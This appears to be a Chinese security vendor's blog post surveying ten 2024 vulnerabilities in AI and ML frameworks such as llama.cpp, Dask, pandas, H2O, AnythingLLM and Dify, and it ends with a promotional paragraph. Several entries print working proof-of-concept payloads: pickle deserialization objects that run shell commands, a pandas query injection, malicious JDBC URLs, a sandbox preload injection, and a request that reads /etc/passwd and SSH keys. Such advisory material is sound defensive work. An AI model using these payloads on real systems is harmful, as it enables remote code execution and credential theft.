2024年度人工智能相关重点安全漏洞盘点
2025-1-18 02:2:0 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

一、CVE-2024-42479

漏洞概述

rpc_server::set_tensor 中存在一个“写入任意地址”的漏洞。该漏洞由 ggerganov 于 2024 年 8 月 12 日发布,编号为 GHSA-wcr5-566p-9cwj。受影响的版本为小于 b3561 的版本,已修补版本为 b3561 及以上。

漏洞CVSS

漏洞细节

漏洞的根源在于 rpc_tensor 结构中的 data 指针成员,该指针可以被用户控制,从而导致任意地址写入。以下是 rpc_tensor 结构的定义:

#pragma pack(push, 1)struct rpc_tensor {    uint64_t id;    uint32_t type;    uint64_t buffer;    uint32_t ne[GGML_MAX_DIMS];    uint32_t nb[GGML_MAX_DIMS];    uint32_t op;    int32_t  op_params[GGML_MAX_OP_PARAMS / sizeof(int32_t)];    int32_t  flags;    uint64_t src[GGML_MAX_SRC];    uint64_t view_src;    uint64_t view_offs;    uint64_t data;    char name[GGML_MAX_NAME];    char padding[4];};#pragma pack(pop)

通过控制 data 指针的值,可以在以下函数调用链中实现任意地址写入:

1. `start_rpc_server`

2. `rpc_serve_client`

3. `rpc_server::set_tensor`

4. `ggml_backend_tensor_set`

5. `ggml_backend_cpu_buffer_set_tensor`

在 ggml_backend_cpu_buffer_set_tensor函数中,使用 memcpy 实现了写入操作:

GGML_CALL static void ggml_backend_cpu_buffer_set_tensor(ggml_backend_buffer_t buffer, struct ggml_tensor * tensor, const void * data, size_t offset, size_t size) {    memcpy((char *)tensor->data + offset, data, size);  // Write-what-where 在此处发生    GGML_UNUSED(buffer);}

漏洞影响

该漏洞可以被用作任意写入的原语,可能被利用来实现远程代码执行(RCE)。研究人员通过结合另一个任意地址读取漏洞,成功实现了 RCE,展示了该漏洞的严重性。

受影响本:版本 < b3561

二、CVE-2024-8865

漏洞概述

composiohq/composio 的 /api/download 端点存在任意文件读取漏洞。该漏洞允许攻击者在未经授权的情况下读取服务器上的任意文件。

漏洞CVSS

漏洞细节

问题出在 composio\server\api.py 文件中,_download_file_or_dir 函数没有对输入的文件路径进行限制和验证。这意味着攻击者可以通过 GET 请求指定任意文件路径,从而读取服务器上的敏感文件。例如,通过请求 /api/download?file=/etc/passwd,攻击者可以访问系统的密码文件。如果服务器以 root 权限运行,攻击者甚至可以读取诸如 /root/.ssh/id_rsa 等敏感文件,这些文件用于 SSH 密钥认证,可能允许攻击者在没有密码的情况下登录服务器。

漏洞影响

该漏洞可能导致敏感信息泄露给未经授权的用户,包括但不限于用户凭据、系统配置文件和 SSH 私钥。这可能为攻击者提供进一步攻击的入口,例如未经授权的服务器访问。

受影响本:0.5.0、0.5.1、0.5.2、0.5.3、0.5.4、0.5.5、0.5.6、0.5.7、0.5.8

三、CVE-2024-48206

漏洞概述

Chainer 的 chainermn 模块中存在一个反序列化漏洞,具体在处理 MPI(消息传递接口)通信时。当非根节点接收到数据并执行反序列化操作时,攻击者可以利用此漏洞进行远程代码执行(RCE)。

漏洞CVSS

漏洞细节

chainermn 模块中,bcast_obj 函数负责从根节点广播对象到其他节点。在这个过程中,非根节点在接收数据时进行反序列化,但没有对输入数据进行有效的验证或限制。这使得攻击者可以通过构造恶意的序列化对象,利用该漏洞在目标系统上执行任意命令。

以下是一个简单的示例代码,展示了如何测试该漏洞:

import chainermnfrom mpi4py import MPIimport pickle
class SimpleModel:    def __reduce__(self):        return (__import__('os').system, ("id; ls",))  # 反序列化后执行的命令
# 创建恶意对象some = pickle.dumps(SimpleModel())
# 初始化 MPI 通信comm = MPI.COMM_WORLDrank = comm.Get_rank()
# 创建 Chainermn 的 communicatorcommunicator = chainermn.create_communicator('naive')
# `rank 0` 节点发送数据,其他节点接收数据if rank == 0:    data = SimpleModel()  # 根节点创建恶意数据else:    data = None
# 广播数据data = communicator.bcast_obj(data, root=0)
# 打印接收到的数据print(f"节点 (rank {rank}): 收到数据 '{data}'")
# 示例:进行集合操作(如果需要)data_to_gather = f"Data from {rank}"gathered_data = comm.gather(some, root=0)
# `rank 0` 节点输出收集到的数据if rank == 0:    print(f"节点 (rank {rank}): 收到的数据 {gathered_data}")
# 同步所有进程comm.Barrier()

在这个示例中,SimpleModel 类定义了一个 __reduce__ 方法,该方法在反序列化时执行 os.system 命令。通过广播这个恶意对象,攻击者可以在所有参与的节点上执行任意命令。

漏洞影响

该漏洞的影响是严重的,因为它允许攻击者通过网络发送恶意序列化数据,从而在目标系统上执行任意代码。这可能导致以下后果:

任意命令执行:攻击者可以执行系统命令,获取系统控制权。

数据泄露:攻击者可以访问和窃取敏感信息。

系统破坏:攻击者可以破坏系统或安装恶意软件。

四、CVE-2024-43598

漏洞概述

CVE-2024-43598是一个影响LightGBM 的远程代码执行漏洞。该漏洞由 Microsoft Corporation 报告,并于 2024 年 11 月 12 日发布。漏洞的严重性评分为8.1(高),主要由于堆缓冲区溢出(CWE-122)导致。

漏洞CVSS

漏洞细节

漏洞类型:堆缓冲区溢出(CWE-122)

影响版本:LightGBM 版本 1.0.0 到 4.6.0 之前的版本均受影响。

漏洞机制:该漏洞允许攻击者通过网络利用堆缓冲区溢出进行远程代码执行。由于该漏洞的攻击复杂性较高(AC:H),但一旦成功利用,攻击者可以在受影响的系统上执行任意代码。

漏洞影响

受影响版本:版本在1.0.0 至4.6.0

五、CVE-2024-41950

漏洞概述

Haystack 是一个端到端的 LLM 框架,允许构建由 LLMs、Transformer 模型、向量搜索等提供支持的应用程序。允许用户从头开始创建和运行 Pipelines 的 Haystack 客户端容易受到远程代码执行的攻击。CVE-2024-41950 是一个影响 Haystack 的漏洞,涉及模板引擎中对特殊元素的不当中和。该漏洞允许攻击者通过影响输入到模板中的数据,从而进行远程代码执行。Haystack 中的某些组件使用 Jinja2 模板,如果任何人都可以在客户端计算机上创建和渲染该模板,他们就会运行任何代码。该漏洞已使用 Haystack '2.3.1' 修复

漏洞CVSS

漏洞细节

漏洞类型:不当中和特殊元素(CWE-1336)

影响产品:Haystack 是一个端到端的 LLM(大语言模型)框架,允许用户构建应用程序。其某些组件使用 Jinja2 模板引擎。

漏洞机制:如果攻击者能够创建和渲染模板,并影响输入,便可以在客户端机器上执行任意代码。由于模板引擎未能正确中和特殊元素或语法,攻击者可以利用这一点进行注入攻击。

示例:攻击者可以通过注入表达式(例如 {{7*7}})来执行任意代码。如果模板引擎处理该表达式并返回结果,攻击者就可以确定是否存在漏洞。

漏洞影响

受影响版本:版本< 2.3.1

六、CVE-2024-45758

漏洞概述

该漏洞为未认证的远程代码执行(RCE)漏洞,起因是 H2O 使用了 getConnectionSafe 方法,但在实际中未对 JDBC 连接的配置进行限制。H2O.ai H2O 3.46.0.4 及之前版本允许攻击者任意设置 JDBC URL,从而导致反序列化攻击、文件读取和命令执行。当攻击者有权使用包含 connection_url 属性的 JSON 文档(具有任何典型的 JDBC Connection URL 攻击负载,例如使用 queryInterceptor 的攻击负载)发布到 ImportSQLTable URI 时,攻击者可以构造任意 JDBC URL,从而导致反序列化攻击、文件读取、命令执行等严重风险。

漏洞CVSS

漏洞细节

漏洞触发点:DriverManager.getConnection() 方法未限制用户输入的 JDBC 连接设置。

涉及组件:getConnectionSafe 方法(代码示例如下):

   public static Connection getConnectionSafe(String url, String username, String password) throws SQLException {        initializeDatabaseDriver(getDatabaseType(url));        try {            return DriverManager.getConnection(url, username, password);        } catch (NoClassDefFoundError e) {            throw new RuntimeException("Failed to get database connection, probably due to using thin jdbc driver jar.", e);        }    }

攻击者通过恶意 URL 触发,例如利用 MySQL、PostgreSQL 或 Derby 驱动程序。

示例恶意 JDBC URL:

    String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x";    String url    = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "';

攻击者可利用某些 JDBC 驱动(如 mysql-connector-java-8.0.19.jar)通过反序列化链触发 RCE。

Proof of Concept:

攻击者启动一个恶意MySQL服务器/

提交恶意 API 请求(如 /99/ImportSQLTable),内容包括如下 JSON 数据:

       {         "connection_url": "jdbc:mysql://127.0.0.1:39502/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC44_calc",         "table": "my_table",         "select_query": "SELECT * FROM my_table WHERE date > '2023-01-01'",         "username": "deser_CB_calc",         "password": "my_password",         "use_temp_table": "true",         "temp_table_name": "temp_my_table",         "columns": "column1,column2,column3",         "num_chunks_hint": "10",         "_exclude_fields": "frames/frame_id"       }

3. 在目标服务器执行攻击代码,完成远程命令执行。

漏洞影响

受影响版本:版本<=3.46.0.4

技术影响:

1. 远程代码执行(RCE):通过 JDBC 配置注入恶意代码。

2. 数据泄露:攻击者可能访问模型数据、数据库内容等敏感信息。

3. 系统破坏:执行恶意命令可能导致服务中断或数据破坏。

七、CVE-2024-6842

漏洞概述

该漏洞为敏感信息泄露漏洞,通过 /setup-complete API 接口,未认证的用户可以访问 AnythingLLM 系统的敏感配置信息(例如搜索引擎 API Key)。攻击者可远程窃取这些密钥,进而造成用户资产损失。

漏洞CVSS

漏洞细节

漏洞触发点:/setup-complete API 公开暴露了系统的配置信息。

    app.get("/setup-complete"async (_, response) => {        try {            const results = await SystemSettings.currentSettings();            response.status(200).json({ results });        } catch (e) {            console.log(e.message, e);            response.sendStatus(500).end();        }    });

SystemSettings.currentSettings() 返回了 .env 文件中设置的敏感信息。

漏洞根源在于 API 没有对敏感数据进行过滤或掩码处理。

暴露的信息:

    currentSettings: async function () {        return {            // 系统配置信息(部分关键字段)            AgentGoogleSearchEngineId: process.env.AGENT_GSE_CTX || null,            AgentGoogleSearchEngineKey: process.env.AGENT_GSE_KEY || null,            AgentSerperApiKey: process.env.AGENT_SERPER_DEV_KEY || null,            AgentBingSearchApiKey: process.env.AGENT_BING_SEARCH_API_KEY || null,        };    }

攻击者通过 API 可获取以下敏感信息:

AgentGoogleSearchEngineKey:Google 搜索引擎 API Key。

AgentSerperApiKey:Serper 搜索引擎 API Key。

AgentBingSearchApiKey:Bing 搜索引擎 API Key。

Proof验证:

攻击者可通过以下步骤重现漏洞:

1. 在 .env 文件中设置以下 API Key:

       AGENT_GSE_CTX='bbbbbbbbbbbbbbbb'       AGENT_GSE_KEY='aaaaaaaaaaaaaaaa'       AGENT_SERPER_DEV_KEY='cccccccccccccccc'       AGENT_BING_SEARCH_API_KEY='dddddddddddddddddddd'

2. 启动 AnythingLLM 容器:

       docker run -d -p 3001:3001 \       -v ${STORAGE_LOCATION}:/app/server/storage \       -v ${STORAGE_LOCATION}/.env:/app/server/.env \       -e STORAGE_DIR="/app/server/storage" \       mintplexlabs/anythingllm

3. 访问 /setup-complete API:

       curl http://localhost:3001/api/setup-complete    

响应结果中会返回所有配置信息,包括敏感的 API Key:

       {         "results": {           "AgentGoogleSearchEngineId": "bbbbbbbbbbbbbbbb",           "AgentGoogleSearchEngineKey": "aaaaaaaaaaaaaaaa",           "AgentSerperApiKey": "cccccccccccccccc",           "AgentBingSearchApiKey": "dddddddddddddddddddd"         }       }

漏洞影响

影响范围:使用 mintplex-labs/anything-llm 并开启 /setup-complete API 的所有系统。

技术影响:

1. 敏感信息泄露:攻击者可以未经认证直接获取系统配置中的 API Key。

2. 潜在资产损失:攻击者使用泄露的 API Key 可滥用搜索引擎或其他服务,造成用户资产损失。

3. 滥用和滥发请求:攻击者可能利用泄露的密钥发送大量请求,导致 API 提供商封禁或产生额外费用。

八、CVE-2024-9880

漏洞概述

pandas 是一个 Python 包,提供数据结构,旨在使结构化(表格、多维、潜在异构)和时间序列数据的处理变得简单直观。

此程序包的受影响版本容易受到 pandas 中任意命令执行的攻击。DataFrame.query() 函数,该函数通常由应用程序公开以接受用户输入。代码可以注入到 Python 表达式中,该表达式将使用应用程序的权限执行。

漏洞CVSS

漏洞细节

触发点:

pandas.DataFrame.query() 是一个允许使用布尔表达式查询 DataFrame 数据的方法。然而,当用户输入未经验证的表达式时,该方法会使用 Python 的 eval() 引擎执行代码,从而导致命令注入

脆弱代码:

以下代码展示了如何滥用 query() 方法执行任意命令:

import pandas as pd
df = pd.DataFrame({'a': [1, 2, 3], 'b': ['error_details', 'confidential_info', 'normal']})
query = '@pd.core.frame.com.builtins.__import__("os").system("""ping google.com #""")'try:    result = df.query(query, local_dict={}, engine="python").indexexcept Exception as e:    print(f'Error: {e}')

上述代码中,攻击者利用 query() 方法注入了以下恶意命令:

@pd.core.frame.com.builtins.__import__("os").system("""ping google.com #""")

这将触发系统命令执行(在本例中为 ping)。

漏洞影响

在某些项目中,pandas.DataFrame.query() 的功能被直接暴露,例如 man-group/dtale 项目曾因该问题被利用导致远程命令执行(RCE)。

1. 任意命令执行:

攻击者可以通过精心构造的表达式执行任意系统命令。

该漏洞可能被利用来访问敏感数据、修改系统文件或运行恶意脚本。

2. 数据完整性和系统安全性受损:

如果攻击成功,数据完整性和系统的安全性可能受到严重威胁。

在一些特定场景中,攻击者可能:

窃取数据:访问系统的环境变量或机密文件。

滥用资源:通过远程执行命令消耗服务器资源。

恶意传播:使用命令执行漏洞进一步感染或攻击其他系统。

九、CVE-2024-10096

漏洞概述

在 Dask 分布式服务器中,使用了 Pickle 序列化作为数据传输手段,这可能导致攻击者能够构造恶意对象。这些对象在客户端被序列化后发送到受害者的服务器进行反序列化,从而实现命令执行并获得对 Dask 服务器的完全控制。

漏洞CVSS

漏洞细节

触发点:

Pickle 序列化:Dask 使用 Pickle 进行数据序列化和反序列化。由于 Pickle 可以执行任意代码,攻击者可以通过构造恶意对象来实现命令执行。

概念验证:

以下代码展示了如何利用该漏洞进行命令执行:

from dask.distributed import Clientimport os
client = Client('tcp://x.x.x.x:8786')
class PickleRce:    def __reduce__(self):        return (__import__('os').system, ("ping google.com",))
my_object = PickleRce()scattered_data = client.scatter(my_object)
future = client.submit(PickleRce(),)result = future.result()print(f"Result from remote task: {result}")
client.close()

在上述代码中,攻击者通过 PickleRce 类的 __reduce__ 方法注入了恶意命令 ping google.com,并通过 Dask 的分布式功能在远程服务器上执行。

漏洞影响

远程命令执行:攻击者可以通过 Dask 的分布式连接功能在服务器上执行任意命令。

完全控制:一旦成功利用,攻击者可能获得对受害者机器的完全控制权。

数据泄露:攻击者可以访问和窃取敏感数据。

系统破坏:攻击者可能修改或删除关键系统文件,导致服务中断。

进一步攻击:利用受控服务器作为跳板,攻击者可以对其他系统发起进一步攻击。

十、CVE-2024-10252

漏洞概述

在 Dify 的沙箱服务中,存在一个漏洞,攻击者可以通过内部服务器端请求伪造(SSRF)进行代码注入,从而在沙箱环境中以根权限执行任意 Python 代码。尽管 Dify 沙箱默认配置禁止所有危险操作,但此漏洞允许攻击者绕过这些限制,可能导致整个沙箱服务被删除,从而造成不可逆转的损害。

漏洞CVSS

漏洞细节

触发点:

沙箱服务:Dify 沙箱服务的设计初衷是为了安全地执行代码,但由于其使用了弱密码和不充分的安全措施,攻击者能够利用 SSRF 请求进行代码注入。

概念验证:

以下代码展示了如何利用该漏洞进行攻击:

import requestsimport json
url = "http://sandbox:8194/v1/sandbox/run"headers = {    "Content-Type": "application/json",    "X-Api-Key": "dify-sandbox"}
data = {    "language": "python3",    "code": "import time; time.sleep(3)",    "preload": "import os; os.system(\"touch /tmp/111hrp.txt\")",    "enable_network": True}
response = requests.post(url, headers=headers, data=json.dumps(data))print(response.status_code)print(response.json())

在这段代码中,攻击者通过 preload 参数注入恶意命令,执行任意 Python 代码。

漏洞影响

沙箱逃逸:攻击者能够在沙箱环境中以根权限执行任意代码。

潜在破坏:攻击者可以执行 destructive actions,例如删除整个沙箱服务,导致 Dify 的代码执行能力丧失。

服务中断:一旦攻击成功,整个 Dify 服务可能会受到影响,导致无法正常运行。

数据丢失:攻击者可以删除关键文件或数据,导致数据无法恢复。

安全隐患:此漏洞可能被利用进行更广泛的攻击,影响整个系统的安全性。

山石网科早在十多年前便开始探索AI在网络安全领域的应用,通过AI技术构建了智能内网威胁感知系统(NDR)和智能下一代防火墙,实现对网络威胁的实时检测和精准定位。随着AI技术的不断发展,山石网科更是将AI技术全面融入在威胁检测、情报分析、智能运维、数据安全、病毒检测和加密流量检测等关键环节,山石安研院智能安全实验室有深厚的AI安全对抗研究积累,特别是在漏洞自动化挖掘与利用方面有多年的积累,为用户提供全方位的安全防护和智能决策支持。


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247510270&idx=1&sn=6e0dfb575d641bc67a2b3f00196df49c&chksm=fa527d40cd25f4569e895e911f8d3e8f3e3bc366ffc8598627f89ba3a175f3b65e348be9866b&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh